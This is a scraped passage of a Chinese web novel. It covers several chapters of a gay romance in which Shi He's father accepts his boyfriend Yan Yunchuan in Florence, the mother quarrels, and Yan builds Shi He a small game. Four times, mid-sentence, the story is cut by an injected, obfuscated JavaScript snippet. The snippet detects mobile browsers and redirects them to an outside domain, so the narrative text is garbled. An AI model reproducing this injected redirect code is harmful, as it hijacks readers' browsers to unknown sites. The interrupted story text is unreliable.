说来奇怪,宴云川见濯清都没有想逃的反应,这会见到男子——也就是时熵,竟没由地生出了几分局促。大概因为时熵的银边链条眼镜太像他大学导师。看见就想到了被催进度的那些光辉岁月。又或者,是第一次“正式见家长”的原因。 等宴云川离开,时熵问时和:“跟阿清来的?” 时和点点头:“爸……” “嗯。” “……” 时和也不知道自己想说什么。 他和时熵有半年没见面了,按理说这次见面他应当兴奋大于拘束,可他现在只有刺入毛孔的恐惧。他不知道时熵会不会看出他和宴云川的关系,也不知道时熵有没有看见宴云川搭在他肩上的手,所以他不敢贸贸然开口。 直到时熵问:“崽崽,不介绍一下吗?”时和就像走钢丝不慎掉落的杂技演员,后背湿透了。 “……”时和压在口罩下的嘴角抿成了一条线,思考以什么身份介绍宴云川比较好。思考到时熵笑了笑,他才坚定地抬头说:“爸,我谈恋爱了,他是我男朋友。” 时熵淡淡的“嗯”了一下,嘴角微微上扬:“男朋友也有名字,对不对?” 时和眼神都亮了。 时和了解时熵,时熵生气是不会笑的,更不会引导他继续往下说。这一个月,他像是怀揣了宝藏的海盗一样小心翼翼,怕被濯清发现、怕被其他人发现告诉濯清,又或者怕被其他人指指点点。 第一次遇见支持自己的亲人,时和顾不上情绪,像是要把这一个月的秘密全盘分享一样,迫不及待跟时熵说道:“他叫宴云川!宴饮一川云的云川!名字很好听对不对!我们是游戏认识的,他是我师父,对我很好,在游戏里很照顾我!他还会专门来佛罗伦萨找我!而且爸——” 他对我说‘下回遇见走不顺的路可以换一条’,和您说的一样。 时和猛然发现,他好像从那时候就喜欢上宴云川了,喜欢上了这个在轨道上及时拉了他一把的人。 等时和回过神来,瞥见时熵正满目柔和的看着他,目光里还带着怀念。时和不知道时熵眼里的怀念由何而生。他眸子眨了眨,垂下来说:“爸,我喜欢的人是男生,您……您不生气吗……” “你觉得这段恋爱拿得出手吗?” 时和很认真点头:“嗯。” “那就行了,”时熵放下搭着的腿说道,“崽崽。人是喜欢人的,从来不是喜欢性别。” 人是喜欢人的。 时和在心里重复了一遍这句话,突然不知道自己该说什么好,只觉得满腔被理解的委屈要从胸口溢出来了,又欣喜若狂。 他扬着笑问时熵:“爸,您怎么在佛罗伦萨?” 时熵说:“阿清告诉我你过来了。” “您和妈……” “我们一直有联系。”不是每一对离婚的人都会老死不相往来,他和濯清离婚后一直保持着固定频率的联系,就像汇报工作一样正式,“阿清会给我一些你的照片,告诉我你最近怎么样了,过得好不好。” 其实他来佛罗伦萨有半个月了,只是这半个月时和都没出门,所以偶遇不上。 “崽崽,我一直在关注你。”时熵说。 时和发现自己最近有点感性,动不动就红了眼眶。他不想在时熵面前那么脆弱,硬生生忍了回去。 两人说话间,时和电话响了起来。约定的半小时报备时间已经过了五分钟,濯清来的电话。 电话接通,时和告诉濯清:“我和……爸在一起。” 濯清只是愣了一瞬,随即想到什么似的自然说:“问问他等会有时间吗,可以一起吃顿饭。” 其实濯清只是想着时和和时熵这么久没见了,吃顿饭的功夫耽误不了多少。但时和却误以为父母还有死灰复燃的可能,脸上整一个容光焕发。 挂掉电话,时和立马传达濯清的邀请。 时熵神色意料之外地诧异,看见时和脸上的欣喜又了然:“我随时有时间。” 回了濯清,时和手机都没放下就听见时熵说:“其实我很高兴你重新有了自己的选择。但是崽崽——” 时和手指紧了紧。 “——有些事选择了暂时性隐瞒,就要做好隐瞒提前被拆穿的准备。,不要手忙脚乱的应战,会输得一败涂地。” 原来时熵什么都看出来了。 时和嘴唇微张,正想说点什么,远远看见宴云川提溜着纸袋往这里走,他又把没想好的话憋了回去。 他不自觉起身,等到宴云川走近时主动接下了三个纸袋,看见一杯无咖啡因的燕麦奶精准放到了自己身边。这一切全凭本能和习惯。 他吃药,喝不了咖啡因,宴云川知道。 时和抬头,发现宴云川和时熵都在看着他,他才忽然反应过来自己做了什么,一时间手忙脚乱。 宴云川还不知道时熵知道他们关系,只当时和的手忙脚乱是“漏破绽”的心慌。他开口就是一个学弟,想给时和找补,就见时熵意味深长地看了他一眼。后面那句“小心烫”突然不知道怎么说了。 时和在桌下踢了踢宴云川,细细嗡嗡说:“我爸已经知道了。” 宴云川刚听清,时熵突然恶趣味地来了句:“崽崽,你踢的是我。” 一时间,桌上三个人只有时熵快乐。宴云川有种出师未捷身先死的头痛。 ** 三人在位置上坐了有一会。时熵也没问宴云川家庭工作,而是聊了一下对佛罗伦萨的看法。 听见宴云川说:“大概就像但丁写的‘我看见上帝的城,像钻石一样闪闪发光’。” 时熵这才有兴致的问:“艺术生?” 宴云川回答:“大学学的游戏开发,项目涉及到国外知识,我了解了一些。” 提到《神曲》,时和也抬起了头,因为他想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241598|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起了时熵对他说过的一句话:“是爱也,动太阳而移群星。”这也是《神曲》的终章。 他看向宴云川,不知道宴云川是不是也恰好想到了这句话,看向了他。 就在这时,时熵突然对宴云川发起邀请:“有兴趣做我模特吗,时间你定,陪我拍一组照片。” 时和咬了咬吸管,心道果然会这样。 时熵是摄影艺术家兼画家,平日里对外人发起最多的邀请便是:“有兴趣做我的模特吗?” 他一直说:“好的画面难得,好的模特更是难求。”所以但凡有能入眼的,他都想给人拍上一组,哪怕不做展,也想留个存档。 时和正带着趣味等宴云川回复,结果,回复没等来,先等来了时熵一句:“崽崽,你可以一起。”给他弄得差点把咖啡喷出来。 这回轮到宴云川带着趣味看向他了。 “妈那儿……”时和问。 时熵惯犯似的比了个嘘:“这是我们的秘密。” 莫名的,时和有种日子还是半年前没变的错觉。他和时熵依旧会商量怎么瞒着濯清达到自己的目的,每次约定好,时熵就会说:“这是我们的秘密。” 其实时熵那儿有时和很多照片,拍到后面时和看到时熵架起摄像头就想躲,可一想到可以跟宴云川合照,他还是没忍住,想再给时熵贡献一组。 只是他忽然想到一个问题:“宴云川过两天就回国了,爸,您这两天有空吗?” 时熵说:“我刚结束一个展,这几个月都有空。如果云川方便,我们可以这两天拍一组佛罗伦萨的,等哪天小和回榕城了再拍一组。” 事情就这么定下了。 等到濯清忙完往老城赶的时候,发现时熵已经完美融入了时和和宴云川的世界里。甚至有那么一刻,她觉得自己再往前走都是一种打扰。 想到这一点,濯清眉头微微皱了一下,理了理衣服才走上去,像是比亲昵一样虚抱了一下时和,喊了声:“宝贝!抱歉,妈妈来晚了一些。”成功打破了三人之间的那点和谐。 濯清定的饭局在一个合作方的酒店,四个人一走进去,大堂经理就热烈迎了上来把几人带进一个金碧辉煌的包厢。中途合作方来了一次,轮番敬了一杯,敬到时和时,桌上三张嘴巴用中文意文英文同时说:“他不能喝酒。”给合作方吓了一跳,还以为自己做了什么十恶不赦的大事。 有濯清和时熵在,宴云川也不好越俎代庖的代喝。不过时熵很会来事,直接说:“阿清胃不好,我最近失眠,不能喝多。让小川喝吧。”成功送了宴云川一个表现的机会。 时熵说到胃不好的时候,濯清看了他一眼,没说什么。只是在中途,时和和宴云川去洗手间的空档,濯清问时熵:“后悔吗,当初把儿子留给了我。” 时熵笑了笑:“不后悔。” 濯清脸色嘲弄,就差把“不信”写在脸上了。 直到时熵说:“你比我更需要他。” “只是阿清,”时熵意味深长地瞥过眼神,说道,“崽崽在长大。” 濯清晃了晃酒杯,拿起杯子喝了一口才回:“他已经长大了。” 82.Chapter·戏精 另一边,时和从洗手间出来,透过镜子看见宴云川倚在门边。他心不在焉地冲着水,眼神从宴云川的嘴唇一路扫描到了指尖。虽然这些地方已经看了上百遍,可时和还是百看不腻。 看见宴云川尾指勾着他的帽扣,时和舔了舔后槽牙,脑海里浮现了公寓楼上有的没的画面。好在宴云川似乎在打字,没看见他滚动的喉结。 刚这么想,镜子里的人回了个头,两人眼神正正撞一块,捉奸在镜。 宴云川瞥见时和迅速低下的头还有放大的水声愣了一下,随即笑一声。等人出来,他顺手把手上的帽子扣上去,低头小声说:“学弟,镜子里的我和现实的我哪个更好看?” 时和脚下晃了一踉跄,宴云川正想扶,一个陌生女子从旁边洗手间走出来,眼神看了两人一眼,时和立马站得笔直。 陌生女子并不关注他们,直接离开了。 等人消失在转角,时和老实了很多。可不知道是时熵的出现给了他自信,还是今天发生的一系列事情太过喜出望外,他虽然老实走路,但人却离宴云川走得近了一些。像是……刚在一起的情侣,外表拘束,内心却想靠近对方。 宴云川嘴角很轻地勾了一下。 回去的路上,两人走的很慢——主要是时和走得很慢。时和恨不得一步当做五步走,走到楼梯口他才解释:“宴云川,我是故意叫你出来的。” 宴云川多少猜到一些:“嗯,想给伯父伯母留单独相处的空间?” 时和一脸“你怎么知道”的惊讶模样看向宴云川,随即又想到以宴云川的观察能力,猜出来也很正常。 “是不是很蠢?”时和问。 宴云川摇头:“值得尝试的事永远不蠢。” 这话大大的取悦了时和,一路上时和嘴角都没下来。好在这两层只接纳VIP预定客人,人流不多,也没人发现他的算盘。 只是回到包厢,时和就被算盘崩了一脸。 包厢门一开,里面只有濯清。濯清坐在圆桌一头沉着脸不说话,脸上的神色如同时和以前多次看到的那样,满是不满。不同于往常,这一次濯清的不满对象不知道去了哪里。 “爸呢?”时和问。 濯清没好气说:“有点事,走了。” 时和:“……” 时熵断然做不出生气走人这种不体面的事,时和猜想,多半是跟濯清闹了不愉快,为了不给濯清添堵才走的。 然而,他以为这样的离开已经是退让和结束,没想到到了晚上,濯清又跟时熵吵了一架。 大约是凌晨一点,时和起床本想喝杯水,隐约看见客厅还亮着灯。他开了道门缝,铺天盖地的责备声立马涌进了房间里。 濯清:“你明明知道小和生病还做出这样的计划!……拍照而已?这是而已吗!广场人那么多你怎么保证别人不会望着小和?万一儿子犯病你能当场找到医生吗!” “每次都是这样!时熵!你有哪一次能跟我先商量!” 不知道时熵在电话里说了什么,濯清突然冷了下来。趁着这个机会,时和打开门,喊了濯清一声。 濯清怒气没收住,嘴上和蔼地问时和怎么出来了,眉头却锁得可以夹死苍蝇。 “我出来喝杯水。”时和说。 濯清揉着眉心,带着怨气对电话里的人说了句“先挂了”,又尽量用温和的语气对时和说:“杯子给妈妈,妈妈去给你倒水。” 时和摇了摇头:“我自己来。” 濯清伸出的手空了一下。 许是刚吵过架,濯清脸上带着争吵过后特有的疲惫,跟疲惫参杂在一起的还有一丝说不上来的情绪,像是不安。 明明倒水很正常的一件事,濯清表情却像被时和抛弃了一样难受。 “是妈妈吓到你了吗?”濯清问时和。 时和倒水的动作顿了顿:“没有。”他只是突然意识到,有些裂缝给再多单独相处的时间也修补不了。不是每一个破镜都能重圆。 “妈,您和爸——”时和问。 “我跟他没事。宝贝,不用操心这些。” “……” “您不希望我出去么?” 客厅因为一个问句陷入沉寂。时和看着濯清眉头又皱了起来,一下又松开,脸上近乎茫然。 他端着杯子走到濯清身边,又拉着人在沙发上坐下,说道:“妈,今天出门比我想象中的效果要好,我感觉我快好了。” 濯清脸上的茫然更严重了。 就那么一瞬,时和突然明白了宴云川说的那句你可以选择知道或者选择不知道:知道就意味着拆穿,不知道就意味着听濯清的话。 这一次,时和选择了前者:“妈,您希望我好,对吗?”客厅空气仿佛被冻结了。 好一会,濯清才回答:“……当然。” 只是在时和离开前,濯清着急地问了一句:“小和!你不会离开妈妈的,对吧……” 濯清看着时和站在房间门口一句话不说,心提了上来,她自己都没注意到自己这一刻多害怕时和说出:“会。” 直到时和走出来,抱住了她:“不会,我永远不会离开您。” ** 佛罗伦萨下了一整夜的雨,好在凌晨五点堪堪转停,拍摄计划依旧。 时熵没提昨晚的事,见面只是说:“崽崽你跟云川像日常散步那样走,自然一点。”仿佛昨晚跟濯清“吵起来”的另有其人。 时熵无疑是一个好的摄影师,他不需要人工布景,不需要人造采光,可以利用天气、服装着色还有天然光影自成一画。 大概是昨晚时和那句“永远不会离开您”博得了濯清欢心,一早起来,濯清不但放了人,还给他搭配了一套适合窗外天气的米白色衣服。 远离的镜头和昨晚发生的事分散了时和的注意力,让画面没有那么局促。 只是这样的反常瞒不过宴云川。 走过乌菲兹美术馆,宴云川问时和:“昨晚发生什么事了么?” 时和不想宴云川担心,就没说昨晚发生的细节,只是说:“我妈担心我适应不了。” “那……还能适应吗?” “我觉得可以。” 直觉告诉宴云川,应该不止“适应不了”那么简单,只是时和不愿意说,他也不会多问。 他说道:“秋儿报了成人高考。”打算聊点什么转移一下时和的情绪。 果然,时和头顶的乌云因为这个话题散了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258785|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些:“成人高考?” “嗯,她说‘想补偿自己’。” 宴云川说:“考试在下个月初,我给她放了半个月的假,让她回去安心备考。” 这是好事。 “所以你才得回榕城对吗?” “嗯。” 其实时和这两天考虑过让宴云川再留一段时间,甚至暗示过。他本以为宴云川是担心网吧,没想到中间还有这一层故事,一时打消了让宴云川留下来的心。 想到什么,时和说:“我那里还有当初上课的笔记和教材。” 意思可以给俞秋。 宴云川笑着揉时和头发:“秋儿会哭。” 时和思考说:“那不要说是我的。” 宴云川眼尾的笑意更浓了:“她猜得到。” 两人说话间,马路对面的摄影机连按了几下快门。时熵看着自己拍出来的照片满意地点了点头。照片里,宴云川的手搭在时和发梢上,透着微亮。两人站在一束路灯打下来的地方,再退一步都是阴影。 这样的拍摄持续了两个早晨,隔天结束的时候,时熵送时和和宴云川回到公寓,在时和关门时,他忽然叫住了宴云川。 “我们聊聊。”时熵说道。 两人在公寓附近的咖啡厅找了个座位,又完美避开了时和房间的窗户。 “想喝点什么。”时熵上来先客套了一轮。 宴云川也没客气:“一杯冷萃,谢谢伯父。” “先别急着叫,”时熵点好单,两腿一搭,颇有威慑地压了压身子,手放在膝盖,开门见山地说,“如果我让你离开崽崽,可以吗?” 宴云川没有说话。 “你们之间的路太难走,我相信你比我清楚。”时熵语重心长,“你们既得不到社会的认可,也得不到阿清、或者你父母的认可,到头来还会让崽崽在你和阿清之间举棋不定,这是你想要的吗?” 话音刚落,时熵就听见宴云川笃定地说:“伯父,您说的这些我都考虑过。得不到社会认可其实不重要,我比我父母更知道自己要什么。至于伯母,我相信他和我一样爱着时和。况且,您也并不想让我离开时和,不是吗。” 咖啡厅走进来一对情侣,两人看见角落剑拔弩张的氛围,女生拍了拍自家男友,回头间,就看见佩戴银边眼镜的男人笑了出声。 恰巧此时,前台按铃提示咖啡好了。宴云川主动起身去拿,回来听见时熵恶趣味地来了一句:“意料之中。我看电视里都这么演,想试试,体验感还行。” 他差点又没绷住。 宴云川坐下,听着时熵说:“那天我在河边看见你们了。” 他回想了一阵,想到是时和抱住他那会。 “云川,”宴云川抬头,看着时熵捻着咖啡杯壁,“崽、小和冲动起来容易不顾后果,但我希望你们能多给阿清一点适应的时间。” 他听出来这是让他拉着时和克制一点儿的意思,点了点头。 时熵递过去一张名片:“上面有我的电话和邮箱,如果以后遇见困难了,随时可以找我。” 剩下一半的话时熵没说:离经叛道的路没那么好走,但是也没那么难。只要有一个人支撑着,拉一把,就会好受很多。 83.Chapter·豢养 幻世录PK大赛已经进展到了百进五十,作为游戏第一服务器,长安古韵百强赛便开始了神仙打架,不过神仙打架的只有双人场。 今年PK单人场没有宴云川,挺进百强的能力都很平均,全靠细节。而单身,那个卡着最后一个名额抢占了单人场的幸运儿,也成功晋了级。 下一场比赛在三天后。微信群语音,单身正跟大家炫耀他这“辉煌的战绩”:“还好我当时及时跟清絮解绑!这才能凸显我的个人能力!” 清絮冷呵一声:“你那是个人能力吗?” 柚子看热闹地帮腔:“就是!要不是川儿及时给你放消息!你现在早就被川老板送走了!” 单身哼哼:“那不好说啊!咱运气在这呢!” 沈停丝毫不给自家副帮面子:“什么运气?报名卡掉网最后让尹川帮忙的运气?” 被拆穿的单身颇有点恼羞成怒的意味,逮着沈停就问:“你怎么还不开学?” “开了啊,”沈停说,“今天刚报到。” 单身:“开学了怎么还有时间玩游戏?你们祖国的花朵不应该每天头悬梁锥刺股奋笔疾书吗?” 沈停:“你家大学报到当天头悬梁锥刺股?就算是正式上课了,没听过那句话吗,‘没逃过大学课的人生都是不完整的人生’。” 单身:“我们那会不像你们!我们听见逃课就犯怵,哪敢逃啊!” 公寓里,时和开着电脑整理自己以前上课保存的云文档。他在网上搜了一下成人高考的一些“卖课视频”,又根据某站‘大学’一些UP分享的经历拼凑出了大概考点,正给这些文档分门别类就收到了单身的语音房间邀请。 时和听着单身和沈停在语音里喋喋不休,刚想关小一点音量,忽然听见单身问:“诶!川老板今天哪儿去了?见儿都回来了他人呢?” 他停下动作,点开宴云川聊天框。 消息还停留在二十分钟前,他问宴云川到了吗,宴云川回有点事。 当时他光想着回来整理资料了,没反应过来,宴云川在佛罗伦萨能有什么事? 想到这一点,时和给宴云川发了条消息: [忙完了吗?] 等了两分钟,见消息还是没有回复,时和又打了个语音,语音响了几下没接通,他望了望摄像头,鞋都没换就溜出门了。 ** 宴云川发现时和的时候,时和正鬼鬼祟祟在趴他窗边张望,看模样想给窗户捅一个窟窿。 他放低了脚步,绕到时和身后,趁时和回头之际像捏猫似的捏住了时和脖子。 “嘶——”时和忍不住往回缩。 宴云川本想开个玩笑,就见时和微微蹙着眉头满脸担心地问:“你去哪儿了?”语气也像视频里等待主人回家的猫,满是委屈。 “抱歉。”宴云川晃了下神。 时和咬着嘴皮开始控诉:“我给你发了好几条消息,还打了电话。” 宴云川看了看手机:“我手机调了静音。” 时和又问:“你去哪儿了?” 这栋公寓入住率很高,走廊时不时有人回来或者出门,宴云川看见两人朝这里张望,便对时和说:“进去说吧。” 进了门,他就被时和拉住了。 除去刚拜师那会,繁育妖灵那次,这是第二次时和找不到宴云川。 时和忽然变得很没安全感,眼神一直落在宴云川身上没有离开。宴云川本想换双鞋,时和模样就像他又要离开一样,紧紧地望着他。 这眼神看的宴云川心脏一刺。他索性放下了拖鞋,回头在时和额头上亲了一下,指尖摩挲着时和耳垂一声一声说道:“抱歉,抱歉……跟伯父在楼下喝了杯咖啡,没说清楚,是我不好。” 话落,时和倏地抬头:“我爸?!” 大概所有“早恋”的人听见家长找了对象都会着急,哪怕时熵口口声声说不生气,时和还是慌了神:“我爸他——我爸说什么了?” “别紧张。”宴云川低头在时和耳边说,“宝贝儿,你爸爸看见了。” “看见——” “看见我们在河边。” 时和想了想河边的场景,脸一下就红了。 “那、那我、我爸说什么了?”时和磕绊问。 “他祝我们……”宴云川现在都忘不了时熵走在街道,挥着手说的那句,“祝我们圆满无缺。” 时熵是这么说的:“我父亲取名的时候大概没查过熵这个字的含义,导致我人生前三十年都像我的名字一样混乱。我和阿清就希望时和能够不一样,希望他能‘天地欣合,时和岁丰’,所以,我就祝你们圆满无缺吧。” 时和第一次知道自己名字的含义,正回味这句话里面的情感,耳畔忽然想起一道声音:“崽崽。”他感觉自己半个身子都麻了,明明这个称呼时熵没少叫。 “别、别这么叫我。”时和说。 宴云川问:“为什么?” “我、”时和说不出原因。他总不能说,我听见你这么叫我,我就起了反应。 可宴云川看出来了。 宴云川有意逗人,窝在时和颈肩,一下一下往时和耳朵里送气:“崽崽,我第一次听你名字就想说了,你的名字很特别。” “很好听。” “我很喜欢。” “宴、”时和喘着气,“宴云川。” 宴云川回应道:“嗯。” “我……” 时和像是下了决心一般说:“你帮我。” ** 等到宴云川亲着他到沙发边,压着他一遍一遍喊着崽崽的时候,时和脑海里像过年一样热闹,他觉得自己一定是疯了。他怎么能说出“你帮我”真的露骨的话呢!这跟摊开一本小黄书跟宴云川说“一起看”有什么区别! 想到这,时和那点过分“净网”的矜持劲儿瞬间上来了。 “宴云川——”他挣扎着想起来,“我、我不要你帮我了!” 宴云川把时和作乱的手拢在胸前,没理会这个无理的需求,任凭时和喊着他的名字,喊到后面被一声声低吟代替。 桌上的手机明明灭灭,单身一脸纳闷地在小群里问:“搞什么呢这两个人,一个跟着一个消失,不知道的还以为他俩滚床上去了!” 林朔野和柚子直接喷出来了。 单身以为这两人是因为自己不恰当的比喻才喷的,便说:“啧,我这不是最近看这两人同人文看多了嘛。” 柚子不可思议:“你个铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258786|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直还看这个?” 单身给自己辩解说:“他们成天在群里转发!我副帮呢不得关注群里的消息啊!” 事实是单身某天不小心点进了一篇同人文,最后发现真香,甚至开了个小号偷偷点关注。 为了防止说多错多,单身直接转移话题:“别说这个了,川老板是不是明天回来?” 话题转移失败。 柚子依旧不可思议:“你这是看了多少才能这么自然地说出那句话?” 单身“嘿”一道:“还没完了?” 沈停和林朔野也来了兴致。 沈停:“没完。” 林朔野:“多少?” 被几人连环追问,单身才勉强交代:“也就…也就三四篇吧,不多!都是随便扫的片段!” 话落,柚子耐人寻味地拖了个长音,说道:“三四篇就是七八篇,七八篇就是十几篇,我看了□□篇都看不成你这样的效果,我盲猜你至少看了二十篇。”成功掀了单身的底裤,惹得群里一阵起哄逗笑。 单身受不了了,又把话题拉回了宴云川身上,喊着林朔野:“你哥是不是明天回来呢!” 林朔野笑得锤桌:“是啊!怎么了?” 单身问:“那见儿呢?” 林朔野笑声消停了会:“估计还要些日子。” 等到群里从“川老板什么时候回来”聊到“你们吃瓜了吗,论坛那个帖子删了”,公寓这边,宴云川和时和才堪堪结束。 而单身关切地问道:“不知道哪个好心人,人肉出发帖人是苍大的。听说最近在苍大论坛过得不太顺利,我有内部消息,大家都在讨论他和一个叫时和的。诶,我记得见儿不就是苍大的吗?” 时和当时正在洗澡,语音是宴云川听见的。 群里沈停和林朔野两个知情人已经无语沉默有一会了,大概不想承认自己认识这么一个反射弧可以绕地球十几圈的智障。 直到宴云川出来说:“友情提醒,你口中的‘见儿’姓时名和。” 林朔野才喘了口大气:“卧槽!憋死我了!” 过了好一会,群里其他人才异口不同声爆了几句:“什么玩意/你说什么/谁是时和?!” 时和刚出浴室就听见自己名字,纳闷地看了眼宴云川,宴云川把刚才发生的事简单解释了一遍。 纪帆删帖在时和的预想之中,时和只是淡淡地点了点头,“嗯”了一下。 一个音节,就让群里几个人沉默了将近三分钟。第四分钟,单身才爆发地喊道:“我去!卧槽!WTF?见儿怎么在你房间!” 宴云川跟时和对视了一眼,接到时和同意的眼神才说:“我男朋友不在我房间还能在你房间?” 单身直接吓掉线了。 关掉语音,房间突如其来的安静。宴云川明天一早的机票,衣柜里的衣服已经清的差不多了,只留了一套换洗。行李箱在地上摊着,只有窗台的钴蓝色保留了宴云川在这里待过的痕迹。 这是继时熵离开后,时和第二场送别。短时间内送别两个人,心情说不低落是假的。 时和闷闷低着头,指尖有一下没一下地扣着床沿,扣到第十一下,他听见宴云川问:“想养宴云川吗?”他猛地抬起了头。 84.Chapter·方案 “养宴云川?”时和不确定地问了一遍。见宴云川点头,他在脑海里幻想了一系列的“天凉王破”剧情,以为宴云川网吧出了问题。 怕戳痛宴云川,时和小心试探:“听说沈停他们开学了,这样周一到周五就不能去网吧了?”想问问网吧是不是受了开学季的影响,再出主意。 宴云川看时和这幅想问不敢问的模样,好笑地坐到时和身边捏了捏他的手:“网吧没破产,我也没破产,再养一个网吧都不成问题。” “那你说的养宴云川……”时和问。 “字面意思。” 宴云川本想解释,瞥见时和眼里勾起的好奇心,他话锋一转,说道:“只是‘宴云川’不太好养,他吃得多,费钱,还容易生病,身体素质也不行。宝贝儿,这样你还想养吗?” 每说一句,时和就在心里勾勒宴云川的画像侧写。想到宴云川刚生了一场病,就觉得除了吃得多这一点,其他好像都对的上。 至于费钱…… 时和真就理解成了字面意思,眼里的好奇越来越重,嘴上很认真地说:“我每个月都一万的游戏基金,没花完的都存着了。” 意思是费钱没关系,够花。 听罢,宴云川笑了声:“不充游戏了吗?” 时和摇摇头。 宴云川循循引诱:“这样你的天赋值会跟不上第一梯队,容易影响副本输出,说不定还会影响PK赛。不后悔吗?” 前面的天赋值、副本输出,时和听的眉头都不皱一下,唯独说到PK赛,他坚定的表情才有了一丝犹豫。他赢不赢无所谓,但不想宴云川输。 只是这样的犹豫不到三秒,时和便坚定说:“掉出第一梯队我也能赢。” 耳边响起两声轻笑,时和以为宴云川不信,侧过身蹙眉想自证:“我真的能——”剩下的“赢”字被宴云川一个吻吞进了腹。 墙上灯影狭长,重叠着跌进了阴影里。 宴云川想到时和说的:“耶梦加得另一层意思是重生。”他这一刻有点信了。 如果一年前有人对他说,再等等,等一年,他会遇见一个人,这个人会不计条件的维护他,帮他,还会用自己拥有的一切换他,他只会觉得这是命运戏弄他的一种手段。 结果时和就这么措不及防地出现了,慌乱又热烈,足以让他走出所有阴霾。 他喜欢看时和情动时候的眼睛,喜欢听时和克制又忍耐不住的声音。直到把人又弄进浴室洗了一次澡,宴云川才善罢甘休,跟着时和前后脚给自己冲了个凉。两人终于冷静了下来。 从浴室出来,宴云川刚往时和的方向走一步,时和就从床边一路退到了门口,提防的模样好像宴云川是什么“采花大盗”。 他挑了挑眉,径直欣赏着时和一脸“你离我远点”的表情走到门边,手腕贴着时和腰际,一寸一寸移到了门把手上,感受时和半推半就的摩挲笑着说道:“电脑在客厅。” 就这样把时和“惹毛”了。 时和全程一言不发地跟在宴云川身后,看着宴云川坐到沙发边,往座位拍了拍,他依旧站在原地,似乎铁了心保住自己的“尊严”。 “不养‘宴云川’了吗?” 只一句话,时和就破功了。 走到沙发边,宴云川手指飞快敲着键盘,屏幕里,一行行代码眼花缭乱地跳进时和眼睛里。墙上的挂钟转了十几个来回,代码停下,页面一道白光乍现,一个黑发白T的小人出现在了屏幕中央,手机拿着玫瑰单膝下跪,他面前有一个一模一样的小人,只是黑发黑T。 屏幕跳出弹框:是否愿意豢养宴云川。 弹框只有一个选项。 “是。”时和说道。 黑T小人接过玫瑰花,两人像求婚成功那样隔着屏幕接了个吻,漫天花瓣自顶洒下。屏幕一转,页面出现了一个简易的房间。 这是一个特别临时的像素游戏,可宴云川还是给自己做了一个“两房两厅”。 “点击门可以去网吧。”宴云川握着时和的手操作着,“到时候我加几个代码,这样我的账号登陆哪台电脑,这里网吧对应的电脑就会亮灯,你就等看见我在哪。白天可以让‘我’去网吧赚钱,网吧吧台的东西都可以买,单人包厢可以进去,右上角会显示‘我’的健康值,医院模块等我完善。” “我可以做一个简单的1对1联机,这样你在线的时候,可以跟我互动。” “这只是一个初始版本,如果还想要其他的玩法可以跟我说,我慢慢加上去。” 宴云川每说一句,时和眼里的震撼和惊讶就多加一分。说到“说不定等‘宴云川’能自己养活自己了,伯母就带你回来了”时,时和突然满腔热血地说:“宴云川!重新做游戏吧!”截断了宴云川所有的话,只留下满室寂静。 “我——”宴云川嘴唇微张,破天荒地躲开了时和炽热的眼神,最后叹息一气。 他打开手机,点开其中一个加密相册递给时和:“密码0507。” 只一个密码,时和便知道跟凌岳有关。果不其然,点开相册,里面都是宴云川跟凌岳的合照,有在网吧的,有在烧烤摊的,还有跟单身的,跟很多个他不认识的人。 时和突然发现,曾经的宴云川也很多姿多彩,身边围满了人。只是为什么会一步步走到今天这样,形单影只? 正想着,他听见宴云川说:“这个相册已经两年没点开了。” 时和不理解地望过去。 宴云川瞥了相册里的照片一眼,又立马揉着眉心挪开,两手摊开又收拢,说道:“我一点开,手机就会渗血。” “两年前那个游戏项目,是凌岳和照片里的另外两个人给的灵感,那两个人是我同组伙伴。他们把所有的精力都投入到了这个项目里。后面凌岳出事,项目演讲中止,一年的心血功亏一篑。”也把所有的悔恨投射到了他的身上。 “医生说这是严重的创伤性应激障碍,我做不了游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263011|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”宴云川说。 “可是——”时和看向屏幕。 宴云川摇头:“这不一样。” 时和的眼神分明在说:哪里不一样。 